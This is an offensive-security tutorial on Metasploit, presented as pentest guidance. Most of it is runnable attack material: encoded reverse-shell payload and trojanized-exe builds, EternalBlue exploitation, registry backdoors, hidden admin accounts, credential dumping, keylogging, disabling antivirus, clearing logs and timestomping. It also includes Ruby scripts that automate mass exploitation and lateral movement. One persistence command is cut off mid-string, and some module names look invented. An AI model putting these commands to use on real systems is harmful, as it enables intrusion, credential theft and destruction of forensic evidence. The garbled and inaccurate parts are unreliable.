Metasploit Framework Mastery: Advanced Techniques and Command Reference via Okan Yildiz

Metasploit Architecture and Core Components

Understanding Metasploit's architecture is essential for advanced usage and customization.

Framework Components and Interaction Flow

Metasploit consists of several integrated components:

1. **MSF Console (msfconsole)**: Primary interface for framework interaction
2. **Module System**: Categorized repositories of exploits, payloads, post modules, etc.
3. **REX Library**: Low-level tasks including networking and exploitation primitives
4. **Framework Core**: API that connects components and manages module execution
5. **Framework Base**: Provides common resources needed by modules
6. **msfdb**: Backend database for storing scan results, credentials, and hosts
7. **Plugins**: Extend functionality for specific tasks or integrations

The interaction flow follows this sequence:

```
[User Input] →
  [MSF Console] →
    [Framework Core] →
      [Module Selection] →
        [Options Configuration] →
          [Module Execution] →
            [Result Handling]
```

Database Schema and Workspace Architecture

Metasploit's PostgreSQL database uses a structured schema for tracking penetration test data:

```
msfdb_hosts
  ├── address (primary key)
  ├── mac
  ├── comm
  ├── name
  ├── state
  ├── os_name
  ├── os_flavor
  ├── os_sp
  ├── os_lang
  ├── purpose
  └── info

msfdb_services
  ├── host_id (foreign key)
  ├── port
  ├── proto
  ├── state
  ├── name
  ├── info

msfdb_vulns
  ├── host_id (foreign key)
  ├── service_id (foreign key)
  ├── name
  ├── info

msfdb_notes
  ├── host_id (foreign key)
  ├── service_id (foreign key)
  ├── type
  ├── data
  └── critical
```

Initialize and integrate the database:

```
 # Initialize the database
msfdb init

# Connect from within msfconsole
msf6 > db_status
msf6 > workspace -a project_name
```

Module Tree and Classification System

Metasploit organizes modules hierarchically:

```
modules/
├── auxiliary/  # Non-exploitation functionality
│   ├── scanner/
│   ├── admin/
│   └── dos/
├── encoders/   # Payload encoding to avoid detection
├── evasion/    # Specific anti-detection techniques
├── exploits/   # Categorized by target platform
│   ├── windows/
│   ├── linux/
│   ├── unix/
│   └── webapp/
├── nops/       # No-operation instructions
├── payloads/   # Code executed on target system
│   ├── singles/
│   ├── stagers/
│   └── stages/
└── post/       # Post-exploitation modules
    ├── windows/
    ├── linux/
    └── multi/
```

Advanced MSFconsole Usage Techniques

Command Chaining and Resource Scripts

Resource scripts automate complex tasks by sequencing Metasploit commands:

```
 # example_scan.rc
# Initialize environment
workspace -a detailed_scan
setg RHOSTS 192.168.1.0/24
setg THREADS 10

# Run comprehensive port scan
use auxiliary/scanner/portscan/tcp
set PORTS 21,22,23,25,80,135,139,443,445,3389,5900,8080
run

# Service enumeration on discovered ports
use auxiliary/scanner/smb/smb_version
run

use auxiliary/scanner/http/http_version
run

use auxiliary/scanner/ssh/ssh_version
run

# Vulnerability scanning
use auxiliary/scanner/smb/smb_ms17_010
run

# Export results
spool /tmp/scan_results.txt
hosts -c address,name,os_name,purpose
services -c port,proto,name,state
vulns
spool off
```

Execute the script within msfconsole:

```
msf6 > resource example_scan.rc
```

Advanced Workspace Management

For complex engagements, implement structured workspace management:

```
 # Create separate workspaces for different phases
msf6 > workspace -a recon
msf6 > workspace -a exploitation
msf6 > workspace -a post_exploitation

# Import data from external tools
msf6 > workspace recon
msf6 > db_import ~/nmap_scan.xml

# Export workspace data for reporting
msf6 > workspace exploitation
msf6 > db_export -f xml ~/metasploit_exploitation.xml

# Compare hosts across workspaces
msf6 > hosts -w recon -c address,name,os_name
msf6 > hosts -w exploitation -c address,name,os_name

# Merge workspace data
msf6 > workspace -a combined_assessment
msf6 > db_import ~/metasploit_recon.xml
msf6 > db_import ~/metasploit_exploitation.xml
```

Global Variables and Environmental Customization

Configure global settings to streamline operations:

```
 # Set global variables for the session
msf6 > setg LHOST 192.168.1.100
msf6 > setg LPORT 4444
msf6 > setg VERBOSE true

# View all global variables
msf6 > getg

# Create persistent configuration
msf6 > save

# Create custom console prompt
msf6 > setg PROMPT "%red"+"msf6"+" %whi"+"${ACTIVE_WORKSPACE}"+" %ylw"+"> "

# Define custom aliases
msf6 > alias hs hosts
msf6 > alias sv services
msf6 > alias vl vulns
```

Comprehensive Search Techniques

Master Metasploit's advanced search capabilities:

```
 # Search by multiple criteria
msf6 > search name:windows type:exploit rank:excellent platform:windows

# Search with regular expressions
msf6 > search cve:2021 name:/smb|rdp|rce/ type:exploit

# Search for modules affecting specific service versions
msf6 > search apache name:2.4 type:exploit

# Search based on module reference ID
msf6 > search cve:2021-44228

# Search with advanced module metadata
msf6 > search disclosure:2021 type:exploit rank:excellent
```

Advanced Exploitation Techniques

Payload Generation and Encoding Chains

Create sophisticated payloads using multiple encoders:

```
 # Generate a multi-encoded payload
msf6 > use payload/windows/meterpreter/reverse_https
msf6 payload(windows/meterpreter/reverse_https) > set LHOST 192.168.1.100
msf6 payload(windows/meterpreter/reverse_https) > set LPORT 443
msf6 payload(windows/meterpreter/reverse_https) > generate -e x86/shikata_ga_nai -i 10 -t exe -f encoded_payload.exe

# Chain multiple encoders with custom architecture
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 \
  -e x86/shikata_ga_nai -i 5 \
  -e x86/call4_dword_xor -i 3 \
  -e x86/countdown -i 2 \
  -f exe -o multi_encoded_payload.exe

# Use the template option for payload embedding
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 \
  -e x86/shikata_ga_nai -i 8 \
  -x /path/to/legitimate.exe \
  -f exe -o trojanized_app.exe
```

Exploit Customization and Targeting

Modify exploits for specific target environments:

```
 # Advanced options for exploit customization
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show advanced

# Set precise targeting options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set GroomAllocations 12
msf6 exploit(windows/smb/ms17_010_eternalblue) > set GroomDelta 5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set VerifyArch false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set VerifyTarget false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set MaxExploitAttempts 3
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ProcessName lsass.exe
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

Session Management and Routing

Implement advanced session handling for complex networks:

```
# List all active sessions
msf6 > sessions -l

# Establish routes through compromised hosts
msf6 > sessions -i 1
meterpreter > run autoroute -s 10.10.0.0/16

# Alternative method for routing
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET 10.10.0.0
msf6 post(multi/manage/autoroute) > set NETMASK 255.255.0.0
msf6 post(multi/manage/autoroute) > run

# View established routes
msf6 > route print

# Create a SOCKS proxy for pivoting
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set VERSION 5
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > run -j

# Configure local tools to use the proxy
# Example proxychains.conf configuration:
# socks5 127.0.0.1 1080
```

Exploit Staging and Payload Handlers

Configure advanced handlers for payload management:

```
# Set up persistent handler with advanced options
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 192.168.1.100
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > set SessionCommunicationTimeout 300
msf6 exploit(multi/handler) > set SessionRetryTotal 3600
msf6 exploit(multi/handler) > set SessionRetryWait 10
msf6 exploit(multi/handler) > set HandlerSSLCert /path/to/cert.pem
msf6 exploit(multi/handler) > exploit -j

# Use stage encoding for AV evasion
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set StageEncoder x86/shikata_ga_nai
msf6 exploit(multi/handler) > set EnableStageEncoding true
msf6 exploit(multi/handler) > set StageEncodingFallback false
msf6 exploit(multi/handler) > exploit
```

Meterpreter Advanced Techniques

Advanced Process Migration and Injection

Optimize Meterpreter persistence through strategic process migration:

```
 # View current process information
meterpreter > ps

# Migrate to a specific process by ID
meterpreter > migrate 1234

# Find and migrate to a stable system process
meterpreter > run post/windows/manage/migrate

# Advanced migration with architecture specification
meterpreter > migrate -P explorer.exe -A x64

# Memory injection techniques
meterpreter > run post/windows/manage/reflective_dll_inject \
  PROCESS=explorer.exe \
  PATH=/path/to/payload.dll

# Execute shellcode in a remote process
meterpreter > execute -H -i -c -m -d notepad.exe -f /path/to/shellcode.bin
```

Comprehensive Privilege Escalation

Automate privilege escalation with advanced techniques:

```
 # Automated privilege escalation checks
meterpreter > run post/multi/recon/local_exploit_suggester

# UAC bypass techniques
meterpreter > run post/windows/escalate/bypassuac
meterpreter > getsystem -t 3

# Token duplication and impersonation
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "DOMAIN\\Administrator"

# Persistent elevated access
meterpreter > run persistence -A -L C:\\Windows\\Temp -X -i 60 -p 443 -r 192.168.1.100
```

Advanced Filesystem and Registry Manipulation

Perform sophisticated system modifications:

```
 # Mount remote shares for data exfiltration
meterpreter > use auxiliary/admin/smb/psexec_command
meterpreter > run post/windows/manage/mount
meterpreter > upload /tools/advanced_toolkit.exe C:\\Windows\\Temp

# Registry operations for persistence
meterpreter > reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v Backdoor -d 'C:\\Windows\\Temp\\payload.exe'
meterpreter > reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v Backdoor

# Timestomp to evade forensic analysis
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -f C:\\Windows\\explorer.exe
```

Network and Service Manipulation

Configure network settings and services from within Meterpreter:

```
# Port forwarding for internal service access
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.100

# ARP scanning from compromised host
meterpreter > run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24

# Manipulate Windows Firewall
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run post/windows/manage/enable_psexec

# Keylogging and surveillance
meterpreter > keyscan_start
meterpreter > run post/windows/capture/keylog_recorder

# Extract saved credentials
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > run post/multi/gather/firefox_creds
```

Post-Exploitation Framework

Automated Intelligence Gathering

Systematically collect valuable information from compromised systems:

```
# Comprehensive host enumeration
meterpreter > run post/multi/gather/env
meterpreter > run post/windows/gather/enum_applications
meterpreter > run post/windows/gather/enum_services
meterpreter > run post/windows/gather/enum_patches
meterpreter > run post/windows/gather/enum_shares
meterpreter > run post/windows/gather/enum_domains

# Execute multiple post modules in sequence
msf6 > resource post_exploitation_windows.rc

# Content of post_exploitation_windows.rc
use post/windows/gather/enum_logged_on_users
set SESSION 1
run

use post/windows/gather/enum_domain_tokens
set SESSION 1
run

use post/windows/gather/credentials/domain_hashdump
set SESSION 1
run
```

Lateral Movement Techniques

Expand access throughout the network environment:

```
# WMI-based lateral movement
msf6 > use exploit/windows/local/wmi
msf6 exploit(windows/local/wmi) > set SESSION 1
msf6 exploit(windows/local/wmi) > set SMBUSER Administrator
msf6 exploit(windows/local/wmi) > set SMBPASS P@ssw0rd
msf6 exploit(windows/local/wmi) > set SMBDOMAIN WORKGROUP
msf6 exploit(windows/local/wmi) > set RHOSTS 10.10.10.10
msf6 exploit(windows/local/wmi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/wmi) > set LHOST 192.168.1.100
msf6 exploit(windows/local/wmi) > exploit

# PsExec with captured credentials
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set SMBUser Administrator
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.10-20
msf6 exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/psexec) > exploit

# Token-based access using Incognito
meterpreter > load incognito
meterpreter > list_tokens -g
meterpreter > steal_token 1234
meterpreter > execute -f cmd.exe -i -t -c -H
```

Persistent Access Implementation

Establish sophisticated persistence mechanisms:

```
# Registry-based persistence
meterpreter > run post/windows/manage/persistence_exe \
  STARTUP=SERVICE \
  REXENAME=system_service.exe \
  REXEPATH=C:\\Windows\\System32 \
  OPTIONS="-e x86/shikata_ga_nai -i 10 -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443"

# WMI event subscription persistence
meterpreter > run post/windows/manage/wmi_eventfilter \
  SESSION=1 \
  EVENTFILTER_NAME=SecurityCheck \
  QUERYLANGUAGE=WQL \
  QUERY="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=7" \
  CONSUMER_TYPE=CommandLine \
  CONSUMER_NAME=SecurityChecker \
  COMMAND_LINE_TEMPLATE="%SystemRoot%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -c \"IEX ([System.Text

# Backdoored Windows service
meterpreter > run post/windows/manage/backdoor_add_user \
  USERNAME=maintenance \
  PASSWORD=Password123! \
  ADDTOGROUP=Administrators
```

Evidence Removal and Anti-forensics

Implement anti-forensic techniques:

```
# Clear Windows event logs
meterpreter > clearev

# Remove artifacts and logs
meterpreter > run post/windows/manage/delete_logs

# Securely delete files with multiple passes
meterpreter > run post/windows/manage/secure_delete \
  FILES="C:\\Temp\\attack_notes.txt,C:\\Temp\\passwords.txt" \
  PASSES=7 \
  ZERO=true

# Disable Windows Defender and security tools
meterpreter > run post/windows/manage/killav
meterpreter > run post/windows/manage/disable_uac
```

Custom Module Development

Exploit Module Development

Create custom exploit modules for specific vulnerabilities:

```
# Example custom exploit module: my_custom_exploit.rb
# Save to ~/.msf4/modules/exploits/windows/http/my_custom_exploit.rb

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Custom HTTP Buffer Overflow',
      'Description'    => %q{
        This is a custom exploit for a buffer overflow vulnerability
        in a hypothetical HTTP server.
      },
      'Author'         => [ 'Security Researcher' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2021-XXXXX' ],
        [ 'URL', 'https://example.com/vulnerability-details' ]
      ],
      'Privileged'     => false,
      'Platform'       => 'win',
      'Targets'        => [
        [ 'Windows 10 x64',
          {
            'Ret' => 0x41424344,
            'Offset' => 2048
          }
        ]
      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2021-01-01'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The target URI', '/' ]),
        OptInt.new('CUSTOM_OPTION', [ true, 'Custom option for exploit', 1 ])
      ], self.class
```

```
    )
  end

  def check
    # Implement vulnerability check logic
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'version')
    })

    if res && res.code == 200 && res.body =~ /Version: 1\.2\.3/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Exploiting target #{target.name}...")

    # Craft payload buffer
    buf = rand_text_alpha(target['Offset'])
    buf << [target.ret].pack('V')
    buf << rand_text_alpha(16) # Nop sled
    buf << payload.encoded

    # Send exploit
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'vulnerable'),
      'vars_post' => {
        'param' => buf
      }
    })

    handler
  end
end
```

Load the custom module:

```
msf6 > reload_all
msf6 > use exploit/windows/http/my_custom_exploit
msf6 exploit(windows/http/my_custom_exploit) > info
```

Post-Exploitation Module Development

Create specialized post-exploitation modules:

```
# Example custom post module: my_custom_gather.rb
# Save to ~/.msf4/modules/post/windows/gather/my_custom_gather.rb

require 'msf/core'

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Priv
  include Msf::Post::File

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Custom Credential Gatherer',
      'Description'   => %q{
        This module extracts credentials from a custom application.
      },
```

```
    'License'       => MSF_LICENSE,
    'Author'        => [ 'Security Researcher' ],
    'Platform'      => [ 'win' ],
    'SessionTypes'  => [ 'meterpreter' ]
  ))

  register_options(
    [
      OptString.new('APP_PATH', [ true, 'Path to the application', 'C:\\Program Files\\CustomApp' ])
    ], self.class
  )
end

def run
  # Check if we have permissions
  if !is_admin?
    print_warning("Not running as admin, some functions may fail")
  else
    print_good("Running as admin")
  end

  app_path = datastore['APP_PATH']
  print_status("Searching for credentials in #{app_path}")

  # Check if the path exists
  if !directory?(app_path)
    print_error("Application path not found: #{app_path}")
    return
  end

  # Look for config files
  config_files = dir(app_path + "\\*.config")
  print_status("Found #{config_files.length} config files")

  # Extract from each file
  config_files.each do |file|
    print_status("Processing #{file}")
    content = read_file(file)

    # Look for credentials in various formats
    if content =~ /<connectionString>(.*?)<\/connectionString>/i
      connection_string = $1
      print_good("Found connection string: #{connection_string}")

      # Extract username and password
      if connection_string =~ /User ID=([^;]+);.*Password=([^;]+)/i
        username = $1
        password = $2
        print_good("Extracted credentials: #{username}:#{password}")

        # Save to database
        store_loot(
          "custom.app.creds",
          "text/plain",
          session,
          "#{username}:#{password}",
          "credentials.txt",
          "Custom Application Credentials"
        )
      end
    end
  end

  # Check registry for additional data
  begin
```

```
      app_key = "HKLM\\SOFTWARE\\CustomApp"
      license_key = registry_getvaldata(app_key, "LicenseKey")
      if license_key
        print_good("Found license key: #{license_key}")
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Error accessing registry: #{e.message}")
    end

    print_status("Credential gathering complete")
  end
end
```

Load and use the custom post module:

```
msf6 > reload_all
msf6 > use post/windows/gather/my_custom_gather
msf6 post(windows/gather/my_custom_gather) > show options
msf6 post(windows/gather/my_custom_gather) > set SESSION 1
msf6 post(windows/gather/my_custom_gather) > run
```

Auxiliary Module Development

Create a custom scanner or utility module:

```
# Example custom auxiliary module: my_custom_scanner.rb
# Save to ~/.msf4/modules/auxiliary/scanner/http/my_custom_scanner.rb

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Custom HTTP Vulnerability Scanner',
      'Description'    => %q{
        This module scans for a specific vulnerability in web applications.
      },
      'Author'         => [ 'Security Researcher' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2021-XXXXX' ],
        [ 'URL', 'https://example.com/vulnerability-details' ]
      ]
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The base path to the vulnerable application', '/' ]),
        OptString.new('CUSTOM_HEADER', [ false, 'Custom header to add to requests', nil ])
      ], self.class
    )
  end

  def run_host(ip)
    uri = normalize_uri(target_uri.path, 'vulnerable_endpoint')

    # Prepare headers
    headers = {}
    if datastore['CUSTOM_HEADER']
      key, value = datastore['CUSTOM_HEADER'].split(':', 2)
      headers[key] = value
```

```
    end

    # Send probe request
    print_status("Scanning #{ip} for vulnerability...")

    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => uri,
        'headers' => headers
      })

      # Check the response
      if res && res.code == 200
        if res.body =~ /vulnerable_pattern/
          print_good("#{ip} appears to be vulnerable!")

          # Report the vulnerability
          report_vuln(
            :host  => ip,
            :port  => rport,
            :proto => 'tcp',
            :name  => "Custom Application Vulnerability",
            :info  => "The application at #{full_uri} appears vulnerable based on response pattern",
            :refs  => self.references
          )

          # Save the response for further analysis
          path = store_loot(
            'custom.http.vulnerability',
            'text/html',
            ip,
            res.body,
            "custom_vuln_#{ip}.html",
            "Custom Application Vulnerability Response"
          )
          print_good("Response saved to: #{path}")
        else
          print_status("#{ip} does not appear to be vulnerable")
        end
      else
        print_error("Error communicating with #{ip}: #{res ? res.code : 'No response'}")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Connection failed to #{ip}")
    rescue => e
      print_error("Error scanning #{ip}: #{e.message}")
    end
  end
end
```

Advanced Scripting and Automation

Ruby Console Integration

Leverage the Metasploit Ruby console (msf-irb) for advanced scripting:

```
# Launch Metasploit's Ruby console
msf6 > irb

# Access framework components
>> framework.modules.exploits.keys
>> framework.sessions.each_pair {|id, session| puts "Session #{id}: #{session.info}"}

# Create and execute modules programmatically
>> exploit = framework.modules.create("exploit/windows/smb/ms17_010_eternalblue")
>> exploit.datastore['RHOSTS'] = '192.168.1.10'
>> exploit.datastore['PAYLOAD'] = 'windows/x64/meterpreter/reverse_tcp'
>> exploit.datastore['LHOST'] = '192.168.1.100'
>> exploit.execute
```

API Integration and External Tool Chaining

Integrate Metasploit with external tools via the Remote API:

```
# Example API interaction script (api_automation.rb)
require 'msfrpc-client'
require 'json'

# Connect to MSF RPC server
client = Msf::RPC::Client.new(
  :host => '127.0.0.1',
  :port => 55553,
  :uri => '/api/',
  :ssl => true,
  :username => 'msf',
  :password => 'password'
)

# Authenticate and get token
auth = client.call('auth.login', 'msf', 'password')
token = auth['token']

# Create a workspace
client.call('db.add_workspace', token, 'api_automation')

# Import Nmap results
nmap_data = File.read('/tmp/nmap_scan.xml')
client.call('db.import_data', token, {
  'workspace' => 'api_automation',
  'data' => nmap_data,
  'format' => 'nmap'
})

# Get hosts from the database
hosts = client.call('db.hosts', token, {'workspace' => 'api_automation'})
puts "Discovered hosts: #{hosts['hosts'].map{|h| h['address']}.join(', ')}"

# Start exploiting
hosts['hosts'].each do |host|
  # Skip hosts without SMB open
  has_smb = client.call('db.services', token, {
    'workspace' => 'api_automation',
    'hosts' => [host['address']],
    'ports' => [445]
  })

  next if has_smb['services'].empty?

  puts "Exploiting #{host['address']} with EternalBlue..."

  # Create exploit job
```

```
  # Create exploit job
  res = client.call('module.execute', token, 'exploit', 'windows/smb/ms17_010_eternalblue', {
    'RHOSTS' => host['address'],
    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
    'LHOST' => '192.168.1.100'
  })

  puts "Job ID: #{res['job_id']}"
end

# Get session information
sleep 30 # Wait for exploits to finish
sessions = client.call('session.list', token)
puts "Active sessions: #{sessions.keys.join(', ')}"

# Execute commands on each session
sessions.each do |id, session|
  if session['type'] == 'meterpreter'
    puts "Running commands on session #{id}..."

    # Get system info
    res = client.call('session.meterpreter_run_single', token, id, 'sysinfo')
    puts "System info: #{res['result']}"

    # Execute shell command
    res = client.call('session.meterpreter_run_single', token, id, 'shell whoami')
    puts "User: #{res['result'].strip}"
  end
end
```

Execute the automation script:

```
# Start MSF RPC server
msfrpcd -U msf -P password -a 127.0.0.1 -p 55553 -S

# Run automation script
ruby api_automation.rb
```

Custom Exploitation Frameworks

Build advanced attack chains for complex environments:

```
# Example attack chain script (attack_chain.rb)
require 'msfrpc-client'
require 'logger'

# Configure logging
logger = Logger.new('attack_chain.log')
logger.level = Logger::INFO

# Connect to MSF RPC server
def connect_to_msf
  client = Msf::RPC::Client.new(
    :host => '127.0.0.1',
    :port => 55553,
    :uri => '/api/',
    :ssl => true,
    :username => 'msf',
    :password => 'password'
  )

  auth = client.call('auth.login', 'msf', 'password')
  return client, auth['token']
end
```

```
# Phase 1: Exploitation
def initial_exploitation(client, token, target)
  logger.info("Beginning initial exploitation against #{target}")

  # Execute MS17-010
  logger.info("Attempting EternalBlue against #{target}")
  res = client.call('module.execute', token, 'exploit', 'windows/smb/ms17_010_eternalblue', {
    'RHOSTS' => target,
    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
    'LHOST' => '192.168.1.100'
  })

  # Wait for session
  job_id = res['job_id']
  session_id = nil

  # Poll for session
  20.times do
    sleep 5
    sessions = client.call('session.list', token)

    # Find session created by our job
    sessions.each do |id, session|
      if session['via_exploit'] == 'windows/smb/ms17_010_eternalblue' &&
         session['target_host'] == target
        session_id = id
        break
      end
    end

    break if session_id
  end

  if session_id.nil?
    logger.error("Failed to get session with EternalBlue")
    # Try alternative exploit
    logger.info("Attempting PSExec against #{target}")
    # ... implement alternative attack
  else
    logger.info("Got session #{session_id}")
    return session_id
  end
end

# Phase 2: Privilege Escalation
def privilege_escalation(client, token, session_id)
  logger.info("Attempting privilege escalation on session #{session_id}")

  # Check current privileges
  res = client.call('session.meterpreter_run_single', token, session_id, 'getuid')
  logger.info("Current user: #{res['result'].strip}")

  # Try getsystem
  res = client.call('session.meterpreter_run_single', token, session_id, 'getsystem')

  if res['result'] =~ /Got system/
    logger.info("Successfully elevated to SYSTEM")
    return true
  else
    logger.warning("Failed to get SYSTEM directly, trying alternative techniques")

    # Try local exploit suggester
    res = client.call('module.execute', token, 'post', 'multi/recon/local_exploit_suggester', {
      'SESSION' => session_id
    })
```

```
    # ... implement parsing and exploitation of suggested vulnerabilities

    return false
  end
end

# Phase 3: Lateral Movement
def lateral_movement(client, token, session_id)
  logger.info("Beginning lateral movement from session #{session_id}")

  # Discover network
  client.call('session.meterpreter_run_single', token, session_id, 'run autoroute -s 192.168.1.0/24')
  client.call('session.meterpreter_run_single', token, session_id, 'run post/multi/gather/ping_sweep RHOSTS=192.168.1.0/24')

  # Dump credentials
  client.call('session.meterpreter_run_single', token, session_id, 'load kiwi')
  client.call('session.meterpreter_run_single', token, session_id, 'creds_all')

  # ... implement credential parsing and using them for lateral movement

  # Start SMB scanner with gathered credentials
  # ... implement scanning and exploitation of additional hosts
end

# Phase 4: Data Collection
def data_collection(client, token, session_id)
  logger.info("Gathering sensitive data from session #{session_id}")

  # Run various data collection modules
  modules = [
    'post/windows/gather/enum_domain_tokens',
    'post/windows/gather/credentials/domain_hashdump',
    'post/windows/gather/smart_hashdump',
    'post/windows/gather/enum_shares',
    'post/windows/gather/enum_snmp'
  ]

  modules.each do |mod|
    logger.info("Running #{mod}")
    client.call('module.execute', token, 'post', mod, {
      'SESSION' => session_id
    })
  end

  # Search for sensitive files
  patterns = ['password', 'confidential', 'secret', 'credentials']
  client.call('session.meterpreter_run_single', token, session_id,
    "search -f *.txt -d C:\\Users\\ #{patterns.join(' ')}")
end

# Main execution
begin
  client, token = connect_to_msf

  target = '192.168.1.10'
  session_id = initial_exploitation(client, token, target)

  if session_id
    if privilege_escalation(client, token, session_id)
      lateral_movement(client, token, session_id)
    end
    data_collection(client, token, session_id)
  end
rescue => e
  logger.error("Error during execution: #{e.message}")
```

```
  logger.error(e.backtrace.join("\n"))
end
```

Case Studies and Practical Scenarios

Enterprise Network Penetration Testing

This scenario demonstrates a methodical approach for assessing corporate networks:

```
 # Phase 1: Workspace setup and organization
msf6 > workspace -a corporate_assessment
msf6 > setg RHOSTS 10.0.0.0/8
msf6 > setg THREADS 50

# Phase 2: Initial reconnaissance
msf6 > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(scanner/discovery/udp_sweep) > run

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > run

msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) > run

# Phase 3: Targeted vulnerability scanning
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

msf6 > use auxiliary/scanner/http/webdav_scanner
msf6 auxiliary(scanner/http/webdav_scanner) > run

# Phase 4: Exploitation of critical vulnerabilities
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.0.1.15
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j

# Phase 5: Post-exploitation and lateral movement
msf6 > sessions -i 1
meterpreter > run post/windows/gather/smart_hashdump
meterpreter > background

msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set SMBUser Administrator
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.0.1.20
msf6 exploit(windows/smb/psexec) > exploit

# Phase 6: Data exfiltration and documentation
meterpreter > download C:\\Users\\Administrator\\Documents C:\\Temp\\exfiltrated

# Phase 7: Clean-up and evidence removal
meterpreter > clearev
meterpreter > run post/windows/manage/delete_logs

# Phase 8: Reporting and analysis
msf6 > db_export -f xml corporate_assessment.xml
```

Web Application Security Assessment

This scenario focuses on web application vulnerabilities:

```
 # Phase 1: Web application mapping
msf6 > use auxiliary/scanner/http/crawler
msf6 auxiliary(scanner/http/crawler) > set RHOSTS 192.168.1.50
msf6 auxiliary(scanner/http/crawler) > run

# Phase 2: Vulnerability scanning
msf6 > use auxiliary/scanner/http/sqlmap
msf6 auxiliary(scanner/http/sqlmap) > set URL https://192.168.1.50/search.php
msf6 auxiliary(scanner/http/sqlmap) > set METHOD GET
msf6 auxiliary(scanner/http/sqlmap) > set GET_PARAMS id=1
msf6 auxiliary(scanner/http/sqlmap) > run

msf6 > use auxiliary/scanner/http/wordpress_login_enum
msf6 auxiliary(scanner/http/wordpress_login_enum) > set RHOSTS 192.168.1.50
msf6 auxiliary(scanner/http/wordpress_login_enum) > run

# Phase 3: Targeted exploitation
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD password123
